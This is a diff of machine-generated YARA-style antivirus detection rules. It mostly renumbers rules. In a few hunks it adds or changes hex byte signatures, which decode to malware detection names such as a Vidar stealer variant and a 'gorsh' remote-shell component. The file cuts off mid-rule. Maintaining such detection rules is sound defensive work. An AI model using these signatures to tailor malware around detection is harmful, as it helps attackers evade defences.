00 21 " @@ -16284,7 +16348,7 @@ rule _InfrastructureShared_1544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1545{ +rule _InfrastructureShared_1549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16294,7 +16358,7 @@ rule _InfrastructureShared_1545{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1546{ +rule _InfrastructureShared_1550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16304,7 +16368,7 @@ rule _InfrastructureShared_1546{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1547{ +rule _InfrastructureShared_1551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16314,7 +16378,7 @@ rule _InfrastructureShared_1547{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1548{ +rule _InfrastructureShared_1552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16324,7 +16388,7 @@ rule _InfrastructureShared_1548{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1549{ +rule _InfrastructureShared_1553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16334,7 +16398,7 @@ rule _InfrastructureShared_1549{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1550{ +rule _InfrastructureShared_1554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16344,7 +16408,7 @@ rule _InfrastructureShared_1550{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1551{ +rule _InfrastructureShared_1555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16354,7 +16418,7 @@ rule _InfrastructureShared_1551{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1552{ +rule _InfrastructureShared_1556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16364,7 +16428,7 @@ rule _InfrastructureShared_1552{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1553{ +rule _InfrastructureShared_1557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16374,7 +16438,7 @@ rule _InfrastructureShared_1553{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1554{ +rule _InfrastructureShared_1558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16384,7 +16448,7 @@ rule _InfrastructureShared_1554{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1555{ +rule _InfrastructureShared_1559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16394,7 +16458,7 @@ rule _InfrastructureShared_1555{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1556{ +rule _InfrastructureShared_1560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16404,7 +16468,7 @@ rule _InfrastructureShared_1556{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1557{ +rule _InfrastructureShared_1561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16414,7 +16478,7 @@ rule _InfrastructureShared_1557{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1558{ +rule _InfrastructureShared_1562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16424,7 +16488,7 @@ rule _InfrastructureShared_1558{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1559{ +rule _InfrastructureShared_1563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16434,7 +16498,7 @@ rule _InfrastructureShared_1559{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1560{ +rule _InfrastructureShared_1564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16444,7 +16508,7 @@ rule _InfrastructureShared_1560{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1561{ +rule _InfrastructureShared_1565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16454,7 +16518,7 @@ rule _InfrastructureShared_1561{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1562{ +rule _InfrastructureShared_1566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16464,7 +16528,7 @@ rule _InfrastructureShared_1562{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1563{ +rule _InfrastructureShared_1567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16474,7 +16538,7 @@ rule _InfrastructureShared_1563{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1564{ +rule _InfrastructureShared_1568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16484,7 +16548,7 @@ rule _InfrastructureShared_1564{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_1565{ +rule _InfrastructureShared_1569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16494,27 +16558,37 @@ rule _InfrastructureShared_1565{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1566{ +rule _InfrastructureShared_1570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 19 03 8b 5c 24 08 81 fb 90 01 04 eb 90 01 02 90 02 04 e9 90 16 ff 34 24 e8 90 00 00 00 78 36 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0f 01 81 3e b3 15 cf a1 74 0b 4a 4e 83 fa 04 77 f1 00 00 78 36 00 00 02 00 02 00 02 00 21 } //25635 + $a_5f_0 = {65 65 70 5f 72 65 73 63 61 6e 00 01 00 19 03 8b 5c 24 08 81 fb 90 01 04 eb 90 01 02 90 02 04 e9 90 16 ff 34 24 e8 90 00 00 00 78 36 00 00 01 00 01 00 01 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0f 01 81 3e b3 15 cf a1 74 0b 4a 4e 83 fa 04 77 f1 00 00 78 36 00 00 02 00 02 00 01 00 21 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1567{ +rule _InfrastructureShared_1571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0f 01 81 3e b3 15 cf a1 74 0b 4a 4e 83 fa 04 77 f1 00 00 78 36 00 00 02 00 02 00 02 00 21 23 76 6f 6c 6f 64 69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 31 00 01 00 0a 01 5c 76 6f 6c 6f 64 69 6d 69 72 01 00 06 01 5c 57 6f 72 6b 5c 00 00 78 36 00 00 0a 00 0a 00 01 00 21 } //25635 + $a_5f_0 = {78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 01 00 0f 01 81 3e b3 15 cf a1 74 0b 4a 4e 83 fa 04 77 f1 00 00 78 36 00 00 02 00 02 00 01 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 47 56 41 31 00 02 00 12 01 0f af c8 89 44 24 14 8a c2 32 44 24 60 22 c2 0f b6 f8 00 00 78 36 00 00 02 00 02 00 02 00 21 } //25635 condition: ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_1568{ +rule _InfrastructureShared_1572{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 56 69 64 61 72 2e 47 56 41 31 00 02 00 12 01 0f af c8 89 44 24 14 8a c2 32 44 24 60 22 c2 0f b6 f8 00 00 78 36 00 00 02 00 02 00 02 00 21 23 76 6f 6c 6f 64 69 6d 69 72 5f 65 78 70 6c 6f 69 74 2e 31 00 01 00 0a 01 5c 76 6f 6c 6f } //18467 + condition: + ((#a_54_0 & 1)*18467) >=2 + +} +rule _InfrastructureShared_1573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -16525,7 +16599,7 @@ rule _InfrastructureShared_1568{ ((#a_6c_0 & 1)*30243+(#a_46_1 & 1)*16675) >=2 } -rule _InfrastructureShared_1569{ +rule _InfrastructureShared_1574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -16535,7 +16609,7 @@ rule _InfrastructureShared_1569{ ((#a_54_0 & 1)*18467) >=10 } -rule _InfrastructureShared_1570{ +rule _InfrastructureShared_1575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16545,7 +16619,7 @@ rule _InfrastructureShared_1570{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1571{ +rule _InfrastructureShared_1576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16555,7 +16629,7 @@ rule _InfrastructureShared_1571{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1572{ +rule _InfrastructureShared_1577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16565,7 +16639,7 @@ rule _InfrastructureShared_1572{ ((#a_6c_0 & 1)*16675) >=1 } -rule _InfrastructureShared_1573{ +rule _InfrastructureShared_1578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16575,7 +16649,7 @@ rule _InfrastructureShared_1573{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1574{ +rule _InfrastructureShared_1579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16585,7 +16659,7 @@ rule _InfrastructureShared_1574{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1575{ +rule _InfrastructureShared_1580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16595,7 +16669,7 @@ rule _InfrastructureShared_1575{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1576{ +rule _InfrastructureShared_1581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16605,7 +16679,7 @@ rule _InfrastructureShared_1576{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1577{ +rule _InfrastructureShared_1582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16615,7 +16689,7 @@ rule _InfrastructureShared_1577{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1578{ +rule _InfrastructureShared_1583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16625,7 +16699,7 @@ rule _InfrastructureShared_1578{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1579{ +rule _InfrastructureShared_1584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16635,7 +16709,7 @@ rule _InfrastructureShared_1579{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1580{ +rule _InfrastructureShared_1585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16645,7 +16719,7 @@ rule _InfrastructureShared_1580{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1581{ +rule _InfrastructureShared_1586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16655,7 +16729,7 @@ rule _InfrastructureShared_1581{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1582{ +rule _InfrastructureShared_1587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16665,7 +16739,7 @@ rule _InfrastructureShared_1582{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1583{ +rule _InfrastructureShared_1588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16675,7 +16749,7 @@ rule _InfrastructureShared_1583{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_1584{ +rule _InfrastructureShared_1589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16685,7 +16759,7 @@ rule _InfrastructureShared_1584{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1585{ +rule _InfrastructureShared_1590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16695,7 +16769,7 @@ rule _InfrastructureShared_1585{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1586{ +rule _InfrastructureShared_1591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16705,7 +16779,7 @@ rule _InfrastructureShared_1586{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1587{ +rule _InfrastructureShared_1592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16715,7 +16789,7 @@ rule _InfrastructureShared_1587{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1588{ +rule _InfrastructureShared_1593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16725,7 +16799,7 @@ rule _InfrastructureShared_1588{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1589{ +rule _InfrastructureShared_1594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16735,7 +16809,7 @@ rule _InfrastructureShared_1589{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1590{ +rule _InfrastructureShared_1595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16745,7 +16819,7 @@ rule _InfrastructureShared_1590{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1591{ +rule _InfrastructureShared_1596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16755,7 +16829,7 @@ rule _InfrastructureShared_1591{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1592{ +rule _InfrastructureShared_1597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16765,7 +16839,7 @@ rule _InfrastructureShared_1592{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1593{ +rule _InfrastructureShared_1598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16775,7 +16849,7 @@ rule _InfrastructureShared_1593{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1594{ +rule _InfrastructureShared_1599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16785,7 +16859,7 @@ rule _InfrastructureShared_1594{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1595{ +rule _InfrastructureShared_1600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16795,7 +16869,7 @@ rule _InfrastructureShared_1595{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1596{ +rule _InfrastructureShared_1601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16805,7 +16879,7 @@ rule _InfrastructureShared_1596{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1597{ +rule _InfrastructureShared_1602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16815,7 +16889,7 @@ rule _InfrastructureShared_1597{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1598{ +rule _InfrastructureShared_1603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16825,7 +16899,7 @@ rule _InfrastructureShared_1598{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1599{ +rule _InfrastructureShared_1604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16835,7 +16909,7 @@ rule _InfrastructureShared_1599{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1600{ +rule _InfrastructureShared_1605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16845,7 +16919,7 @@ rule _InfrastructureShared_1600{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1601{ +rule _InfrastructureShared_1606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16855,7 +16929,7 @@ rule _InfrastructureShared_1601{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1602{ +rule _InfrastructureShared_1607{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16865,7 +16939,7 @@ rule _InfrastructureShared_1602{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1603{ +rule _InfrastructureShared_1608{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16875,7 +16949,7 @@ rule _InfrastructureShared_1603{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1604{ +rule _InfrastructureShared_1609{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16885,7 +16959,7 @@ rule _InfrastructureShared_1604{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1605{ +rule _InfrastructureShared_1610{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16895,7 +16969,7 @@ rule _InfrastructureShared_1605{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1606{ +rule _InfrastructureShared_1611{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16905,7 +16979,7 @@ rule _InfrastructureShared_1606{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1607{ +rule _InfrastructureShared_1612{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16915,7 +16989,7 @@ rule _InfrastructureShared_1607{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1608{ +rule _InfrastructureShared_1613{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16925,7 +16999,7 @@ rule _InfrastructureShared_1608{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1609{ +rule _InfrastructureShared_1614{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16935,7 +17009,7 @@ rule _InfrastructureShared_1609{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1610{ +rule _InfrastructureShared_1615{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16945,7 +17019,7 @@ rule _InfrastructureShared_1610{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1611{ +rule _InfrastructureShared_1616{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16955,7 +17029,7 @@ rule _InfrastructureShared_1611{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1612{ +rule _InfrastructureShared_1617{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16965,7 +17039,7 @@ rule _InfrastructureShared_1612{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1613{ +rule _InfrastructureShared_1618{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16975,7 +17049,7 @@ rule _InfrastructureShared_1613{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1614{ +rule _InfrastructureShared_1619{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16985,7 +17059,7 @@ rule _InfrastructureShared_1614{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1615{ +rule _InfrastructureShared_1620{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -16995,7 +17069,7 @@ rule _InfrastructureShared_1615{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1616{ +rule _InfrastructureShared_1621{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17005,7 +17079,7 @@ rule _InfrastructureShared_1616{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1617{ +rule _InfrastructureShared_1622{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17015,7 +17089,7 @@ rule _InfrastructureShared_1617{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1618{ +rule _InfrastructureShared_1623{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17025,7 +17099,7 @@ rule _InfrastructureShared_1618{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1619{ +rule _InfrastructureShared_1624{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17035,7 +17109,7 @@ rule _InfrastructureShared_1619{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1620{ +rule _InfrastructureShared_1625{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17045,7 +17119,7 @@ rule _InfrastructureShared_1620{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1621{ +rule _InfrastructureShared_1626{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17055,7 +17129,7 @@ rule _InfrastructureShared_1621{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1622{ +rule _InfrastructureShared_1627{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17065,7 +17139,7 @@ rule _InfrastructureShared_1622{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1623{ +rule _InfrastructureShared_1628{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17075,7 +17149,7 @@ rule _InfrastructureShared_1623{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1624{ +rule _InfrastructureShared_1629{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17085,7 +17159,7 @@ rule _InfrastructureShared_1624{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1625{ +rule _InfrastructureShared_1630{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17095,7 +17169,7 @@ rule _InfrastructureShared_1625{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1626{ +rule _InfrastructureShared_1631{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17105,7 +17179,7 @@ rule _InfrastructureShared_1626{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1627{ +rule _InfrastructureShared_1632{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17115,7 +17189,7 @@ rule _InfrastructureShared_1627{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1628{ +rule _InfrastructureShared_1633{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17125,7 +17199,7 @@ rule _InfrastructureShared_1628{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1629{ +rule _InfrastructureShared_1634{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17135,7 +17209,7 @@ rule _InfrastructureShared_1629{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1630{ +rule _InfrastructureShared_1635{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17145,7 +17219,7 @@ rule _InfrastructureShared_1630{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1631{ +rule _InfrastructureShared_1636{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17155,7 +17229,7 @@ rule _InfrastructureShared_1631{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1632{ +rule _InfrastructureShared_1637{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17165,7 +17239,7 @@ rule _InfrastructureShared_1632{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_1633{ +rule _InfrastructureShared_1638{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17175,7 +17249,7 @@ rule _InfrastructureShared_1633{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1634{ +rule _InfrastructureShared_1639{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17185,7 +17259,7 @@ rule _InfrastructureShared_1634{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1635{ +rule _InfrastructureShared_1640{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17195,7 +17269,7 @@ rule _InfrastructureShared_1635{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1636{ +rule _InfrastructureShared_1641{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -17205,17 +17279,27 @@ rule _InfrastructureShared_1636{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_1637{ +rule _InfrastructureShared_1642{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {57 69 6e 33 32 2f 53 68 72 75 62 2e 41 00 01 00 17 01 2f 67 6f 72 73 68 2f 69 6e 74 65 72 6e 61 6c 2f 73 73 68 6f 63 6b 73 00 00 78 37 00 00 01 00 01 00 01 00 21 23 55 45 46 49 5f 41 50 49 5f 43 72 65 61 74 } //21539 + $a_4c_0 = {57 69 